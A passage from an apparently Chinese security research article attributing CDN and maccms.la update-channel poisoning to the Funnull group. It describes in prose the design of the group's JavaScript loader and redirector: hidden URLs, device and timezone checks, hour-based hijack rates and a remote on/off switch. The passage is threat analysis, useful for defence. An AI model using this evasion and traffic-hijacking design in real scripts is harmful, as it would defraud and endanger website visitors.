生成大量域名后“洗白”转售给下游诈骗团伙，从而支撑杀猪盘、假投资平台等诈骗活动。然而，在polyfill.io、bootcdn.net、staticfile.org等多次CDN投毒事件中，Funnull并非仅充当被动供应商，而是亲自下场操作，直接收购域名并在植入恶意JS代码。这些“自己亲自下场干黑活”的事件，强烈表明投毒所使用的脚本完全隶属于Funnull自身。</span><span textstyle="" style="font-size: 18px;font-weight: bold;">因为这些脚本直接承担核心的恶意跳转与流量劫持功能，只有牢牢掌握控制权，才能确保黑产链条的高效运转，最大化分成收益，并避免下游团伙随意修改导致的效率损失或分成争议。</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">根据这一技术推论，我们认为JavaScript脚本的特征可作为攻击归属判定的关键依据。Funnull的脚本可分为JS Loader（加载器）和JS Redirector（重定向器）两大类，它们共同构成了一个流量重定向框架。其中，JS Load器的功能是动态加载伪装成jQuery库的Redirector有效载荷；而Redirector则负责将符合预设条件的用户请求，劫持并转向赌博、色情等非法站点</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">① JS Loader相似性</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">Loader核心逻辑是通过环境检测和反调试手段，在特定设备上隐蔽加载外部资源。代码使用Base64隐藏真实URL，通过字符串拼接动态创建script标签加载伪装的Query库，但仅针对移动设备/Linux执行。本次活动捕获的Loader代码与2023年BootCDN投毒事件中所用代码完全一致，包括环境判断逻辑、解码函数结构、参数命名等。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000759" data-ratio="0.7268518518518519" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1ce3ea63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wupJBlk8kH8NEkCYv4JBggUAibQLKtibFD1Zs5hsibYtGRZrz8pmpHbSAlZWd9FEML6O18I7UyN8ay3m49YUMlNic4pSx0sdickXC4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">另外值得一提的是，macoms.la这个域名同时出现在了另外两起攻击事件中：Polyfill供应链攻击与GoEdge官方投毒。前者已被多家安全厂商和社区公开分析并判定为Funnull主导；后者虽暂无完整公开分析报告，但基于域名复用、流量劫持模式的一致性让我们有充分理由相信GoEdge投毒事件同样出自Funnull团伙之手。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2372093023255814" data-s="300,640" data-type="png" data-w="860" type="block" data-imgfileid="100000761" src="https://wechat2rss.xlab.app/img-proxy/?k=5c8a0c76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wr1FmcQa3g7Uic3xFbGmg9zT9ZHckws76GIEtvrxEHFP1bRVE0mmVHwwTLR0ZjfPK3FgGavicjvvNoX1u5CibKLRb2IzLh5pjpG0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">② JS Redirector相似性</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">Redirector的核心逻辑是通过多重检测机制（设备类型、页面关键词、时区、访问时段）在不同时间段以不同的概率（如：0-8时劫持概率60%-80%，其他时间50%）将用户重定向到特定的色情，博彩，诈骗等推广，实现流量变现。</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">Funnull的Redirector有非常明显的风格，通常会判断设备类型来，一般只对手机或平板这类移动端下手，PC流量价值低、转化率差且容易被管理员/安全软件发现。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000772" data-ratio="0.8343949044585988" data-s="300,640" type="block" data-type="png" data-w="628" src="https://wechat2rss.xlab.app/img-proxy/?k=5b166d68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ytfTGU3kDEPtpBMsPCojoUKnoXaHnLPA9MPHNfJCOEnOxNbKNvPTn4Ap7lnZEPLoOk4SNoYVkCbBnniccEZgsOvdD1tCHNicpu0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">再根据页面内容对用户进行初步画像，评估其潜在商业价值，并实施差异化导流策略，简单来说：</span><span textstyle="" style="font-size: 18px;font-weight: bold;">正经用户，引诱看点色情，思想滑坡好下手；不太正经的用户，加大剂量，榨干价值</span><span textstyle="" style="font-size: 18px;">。</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">正经用户（低价值流量）</span></span></p></li></ul><p style="text-align:left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">画像</span><span textstyle="" style="font-size: 18px;">：当前访问的是主流正常内容页面（无明显灰黑关键词）。这类用户初始警惕性较高、付费意愿较低、转化周期较长。</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">策略</span><span textstyle="" style="font-size: 18px;">：优先推送入门级色情、擦边或轻度福利内容，通过降低心理门槛、激发好奇心，逐步引导其向更深度的消费场景，最终实现转化。</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">非正经用户（高价值流量）</span></span></p></li></ul><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">画像</span><span textstyle="" style="font-size: 18px;">：当前访问的是色情、博彩、六合彩、福利导航、成人直播等（包含大量对应关键词）。这类用户已有明确需求、付费意愿较强、对平台实力与内容刺激度敏感、转化周期短。</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;font-weight: bold;">策略</span><span textstyle="" style="font-size: 18px;">：直接匹配更上游、更专业、资金更雄厚、玩法更刺激的平台，提供高品质内容与更高回报机制，加速用户沉迷并最大化单用户产出（注册、首存、持续消费等）。</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">策略确定后，再根据当前时间段动态调整跳转概率，充分利用用户在不同时段的心理状态与行为特征，实现更高效的流量变现：</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">00:00–01:59，跳转概率 60%。用户刚进入深夜，警惕性开始下降，但多数人尚未完全放松，适合适度放量。</span></span></p></li><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">02:00–03:59，跳转概率 70%。深度夜间阶段，用户决策力与自控力显著减弱，冲动消费意愿上升，是破防与转化的黄金窗口。</span></span></p></li><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">04:00–06:59：跳转概率 80%。凌晨高峰期，用户疲惫、孤独感强、警惕性最低，对色情/博彩内容的接受度与付费冲动达到峰值，此时投放强度最大，转化效率最高。</span></span></p></li><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">07:00–07:59：跳转概率回落至 60%。清晨时段，用户开始清醒，警惕性回升，投放强度适当收敛，避免干扰正常作息导致举报或流失。</span></span></p></li><li><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">其他时间（白天 08:00–23:59）：基础概率 50%。白天用户活跃度高但警惕性强，保持中等概率投放。</span></span></p></li></ul><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">Redirector还有时区检测机制，只有的特定地区才会触发跳转，从捕获的样本来看，目前只针对中国。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000774" data-ratio="0.2750352609308886" data-s="300,640" type="block" data-type="png" data-w="709" src="https://wechat2rss.xlab.app/img-proxy/?k=f37b6675&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zL5Z6Ehg8snVa4azWB1YniaUL01bV0ATJiaySP9pEUs3QjG5kmMq2ne82JzVXU3brEDj33jSSUfs0KhJRD0QJw7pzVJQkuKRNNo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">当上面的条件都满足时，还有一道关卡，Funnull设计了一道远程控制开关：通过动态加载外部JavaScript文件来设置usercache变量，只有该变量为true时才允许执行跳转，从而实现攻击行为的远程操控。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32037037037037036" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000762" src="https://wechat2rss.xlab.app/img-proxy/?k=ec5e63dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xxRsFao9qibAdaJJcTlIRBNATsBlshgOo8EXgMs8cH7z6yAMou2m4Z2MD9EU363zQZcMmeafhdiaOPFqttwk1ZH7xhVloHOqFCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">这些行为是Funnull Redirector类脚本的典型特征。本次事件捕获的 JS 脚本在整体编码风格、混淆技术及核心逻辑设计上，与之前数次投毒活动中的样本几乎完全一致，呈现出明显的家族同源性，以GoEdge事件的脚本，以及本次RingH23攻击套件投递的样本为例，俩者近似的风格一目了然。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9101208459214502" data-s="300,640" data-type="png" data-w="1324" type="block" data-imgfileid="100000765" src="https://wechat2rss.xlab.app/img-proxy/?k=f70e2db7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yXjF4t5Xt8qnC7q3vIAnBBZPdwty3wnzYgIqkYkRBLicIicfU5JoYHabTj7YXO844QOXOr3gnpCL6HsI6rWC2ngibKlR2WH1hTEs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">另一个更为直接的证据是，在本次活动中充当远程控制开关角色的ailyunoss.com（仿冒阿里云）于2025年4月24日被注册，它的DNS解析历史清晰地显示，在2025年5月22日至7月9日期间，该域名使用了funnull系列CDN服务。</span><span textstyle="" style="font-size: 18px;font-weight: bold;">这一发现直接证明了RingH23攻击套件以及maccms.la的投毒攻击，与FUNNULL黑产团伙存在明确关联。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25245653817082386" data-s="300,640" data-type="png" data-w="1323" type="block" data-imgfileid="100000764" src="https://wechat2rss.xlab.app/img-proxy/?k=46f27148&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8x59qpsQp8b67deOjhuqJK7ianoNzmwANx841FAYGglewxSFbaNbXjenbnkJo7fmErnliagTryA5xicW8atNED9HibZFSXL4Z5Fic7E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">2. 可疑的cdn1.ai</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">Funnull用于托管的恶意javascript脚本的域名目前正在使用基于cdn1.ai基础设施的CDN服务。cdn1.ai于2025年6月18日创建，官方网站宣称它是全球内容分发网络，提供高速、稳定的内容加速服务，覆盖200+节点，提升网站访问速度95%以上。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000768" data-ratio="0.7165775401069518" data-s="300,640" type="block" data-type="png" data-w="1122" src="https://wechat2rss.xlab.app/img-proxy/?k=4a599b5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xTo2iaiaVUKOibHG6pTG0TrXf62aoeogKia5GDpV0SqAErLqTWTwnz55OSJ2TF5JXfocPypUxrdk2RKLvtEczqrrZBUGR5apCianh4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">我们根据CNAME记录对JS恶意域名进行分类，可以很清晰的看出历史活动中出现的域名从funnull cdn到cdn1.ai的转移过程。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2537037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000769" src="https://wechat2rss.xlab.app/img-proxy/?k=cd08a39c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8x0940YBHFPA2CrGcoBUwKrM2GnZibjoj9M2TchD47SyNXRGve8I3LthyV2x2QhxNTr3icN9AoibUJ9bQCI8tCfuNsqXiaJ4W4YlmM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">将本次活动涉及域名与历史攻击活动中使用的域名进行横向对比分析，可以发现这些域名都在相近的时间窗口（集中在7月期间）完成了向cdn1.ai的迁移操作。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000771" data-ratio="0.7725549658832449" data-s="300,640" type="block" data-type="png" data-w="1319" src="https://wechat2rss.xlab.app/img-proxy/?k=90810ce6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yCq4wNuhcuBMicQfPgLCOtwxt53nRCVEOVlDTGPRmIf8lPaCmzkHTUWrqLhMJ7gNMENDoF4tOLnIP2eUosLB4SVMMhv5ib03CMI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">这不禁令人产生一个疑问：作为一家新兴的CDN服务商，CDN1.AI是如何在如此短的时间内，赢得像Funnull这类成熟黑产组织信任的？对于日进斗金的Funnull而言，基础设施的选择必定慎之又慎，对稳定性有比较高的要求。然而，CDN1.AI本身的表现却显得并不是那么可靠，它的技术架构源自于开源项目GoEdge，直接用于正规的商业环境先天就力有不逮；再者运营也不是很专业，例如其官方网站的SSL证书过期都未能及时更新，这显然不符合一家稳健服务商应有的表现。</span></span></p><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 18px;">我们目前尚未发现能够直接证明CDN1.AI与Funnull团伙存在归属关系的证据，但综合其快速获得信任的异常模式、自身运维的草率表现，以及与基础设施高度同步的迁移时机，现做一技术推测：</span><span textstyle="" style="font-size: 18px;font-weight: bold;">CDN1.AI很可能并非真正的第三方CDN，而是Funnull团伙为规避追踪而启用的新马甲。</span></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">maccms.la官方投毒技术细节</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">苹果CMS（Maccms）是一套免费开源的专业影视内容管理系统，主要用于快速搭建与管理各类视频站点，如电影站、电视剧站或动漫资源站等。凭借其便捷的采集功能与灵活的模板系统，该系统自发布以来一直深受中小型影视站长的欢迎，广泛应用于个人及小规模商业视频平台建设中。最初官方维护的版本（原官网为maccms.com）已于2019年前后停止更新。此后，一个被称为“maccms.la”的社区版本开始提供更新与支持，目前在GitHub上的相关项目已积累超过2700个星标，体现出较为活跃的社区生态与用户认可度。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">然而，正是这样一个被广泛使用的项目，却已卷入一场供应链安全事件。我们已掌握明确证据表明，maccms.la 的官方升级通道被用于下发恶意 PHP 后门代码，该后门在服务器侧执行后，会进一步植入恶意 JavaScript 脚本，对前端页面实施劫持与流量操控。恶意脚本的技术特征与 FUNNULL团伙在多起历史攻击活动中使用的手法高度一致，印证了业内近期流传的判断：</span><span textstyle="" style="font-size: 18px;font-weight: bold;">maccms.la 已实际被 FUNNULL 团伙控制，或已被其收购并作为攻击基础设施的一部分持续运营。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x1: 升级通道投毒</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">maccms github 源码application\admin\view_new\index\index.html中有一段ajax代码将maccms，php，thinkphp的版本信息上报给远程服务器(update.maccms.la)，检查是否需要升级。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28459119496855345" data-s="300,640" data-type="png" data-w="1272" type="block" data-imgfileid="100000777" 